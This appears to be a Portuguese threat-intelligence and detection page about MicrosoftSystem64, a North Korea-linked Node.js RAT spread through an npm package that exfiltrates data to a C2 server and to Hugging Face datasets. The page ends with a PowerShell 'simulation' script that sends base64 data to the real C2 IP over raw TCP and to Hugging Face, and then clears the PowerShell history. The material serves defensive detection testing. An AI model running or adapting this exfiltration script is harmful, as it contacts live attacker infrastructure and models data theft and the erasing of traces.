MicrosoftSystem64: Um RAT da Cadeia de Suprimento Exfiltrando Dados para o Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um pacote malicioso do npm chamado js-logger-pack foi usado para distribuir uma aplicação Node.js cross-plataforma chamada MicrosoftSystem64. O binário funciona como um trojan de acesso remoto completo, capaz de roubar extensões de carteiras de criptomoedas, credenciais armazenadas em navegadores, chaves SSH, dados de sessões do Telegram e capturas de tela. As informações roubadas são exfiltradas através de conjuntos de dados privados do Hugging Face usando um token de API comprometido, enquanto o tráfego de comando e controle é gerido por meio de um servidor WebSocket em 195.201.194.107:8010. A campanha foi vinculada a um ator de ameaça associado à Coreia do Norte que alterna contas do npm e Hugging Face para preservar o acesso e sustentar as operações.
Investigação
A SafeDep analisou a amostra de malware e extraiu sua configuração criptografada com XOR, endpoint de comando e controle, token do Hugging Face e uma lista de mais de 80 IDs de extensões de carteira alvo. Pesquisadores também revisaram os métodos de persistência utilizados em sistemas Windows, macOS e Linux e reconstruíram toda a cadeia de exfiltração envolvendo APIs do Hugging Face. A validação ao vivo em 28 de maio confirmou que os conjuntos de dados ativos ainda estavam recebendo capturas de tela e arquivos de credenciais de vítimas reais.
Mitigação
As organizações devem imediatamente remover quaisquer pacotes npm maliciosos conhecidos vinculados a esta campanha, substituir credenciais comprometidas, chaves SSH e sementes de carteiras de criptomoedas, e monitorar atividades não autorizadas na API do Hugging Face. Proteções de endpoint devem detectar o nome do processo MicrosoftSystem64 e qualquer criação de tarefas agendadas relacionadas. Controles de rede também devem bloquear o tráfego de saída para o endereço IP de comando e controle identificado e restringir acessos inesperados aos endpoints do Hugging Face a partir de binários desconhecidos.
Resposta
Se o MicrosoftSystem64 for detectado, isole imediatamente o sistema afetado, encerre o processo malicioso, remova arquivos instalados e tarefas agendadas, e revogue o token comprometido do Hugging Face. Os investigadores devem coletar evidências forenses de logs e caminhos de dados exfiltrados, então notificar as partes interessadas relevantes e atualizar ferramentas de escaneamento de dependências para bloquear os pacotes maliciosos em builds futuros.
Fluxo de Ataque
Detecções
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via registry_event)
Visualizar
A Possibilidade de Execução Através de Linhas de Comando do PowerShell Ocultas (via cmdline)
Visualizar
Arquivo .desktop do Linux Criado em Pasta Incomum (via file_event)
Visualizar
Arquivo Oculto Criado em Host Linux (via file_event)
Visualizar
IOCs (HashSha256) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
IOCs (SourceIP) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
IOCs (DestinationIP) para detectar: Dentro do MicrosoftSystem64: Um RAT de Cadeia de Suprimentos Exfiltrando para o HuggingFace
Visualizar
Detecção de Keylogging por SetWindowsHookEx por Malware [Windows Sysmon]
Visualizar
Detecção de MicrosoftSystem64 RAT em Sistemas Linux [Criação de Processo Linux]
Visualizar
Exfiltração de Dados do Microsoft System64 RAT via HuggingFace [Conexão de Rede Windows]
Visualizar
Detecção de Execução de MicrosoftSystem64 RAT e Comando PowerShell [Criação de Processo Windows]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Telemetria & Baseline Pré-voo deve ter sido aprovado.
Racional: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para desencadear a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
Um atacante já instalou o “Microsoft System64 RAT” no host Windows comprometido. Para exfiltrar dados roubados, o RAT executa duas ações paralelas:- Canal de C2: Abre um socket TCP bruto para o servidor malicioso codificado
195.201.194.107na porta8010e transmite dados codificados em base-64. - Exfiltração HTTP Oculta: Emite um
POSTde HTTPS parahttps://huggingface.co/api/uploadcom os mesmos dados embutidos no corpo do pedido, usando um user-agent legítimo para se misturar com o tráfego normal.
Ambas as ações geram eventos de firewall de saída que correspondem à regra Sigma.
- Canal de C2: Abre um socket TCP bruto para o servidor malicioso codificado
-
Script de Teste de Regressão:
# ------------------------------------------------- # Simulação de Exfiltração do System64 RAT (PowerShell) # ------------------------------------------------- # 1. Preparar dados falsos para exfiltração $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Enviar dados via TCP bruto (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] Exfil extra enviada para $c2Ip:$c2Port" } catch { Write-Error "[-] Conexão TCP falhou: $_" } # 3. Enviar dados via HTTPS para HuggingFace (exfiltração oculta) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Exfiltração HTTP enviada para huggingface.co" } catch { Write-Error "[-] Pedido HTTP falhou: $_" } -
Comandos de Limpeza:
# Remover quaisquer artefatos de rede remanescentes Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Limpar histórico do PowerShell (opcional) Clear-History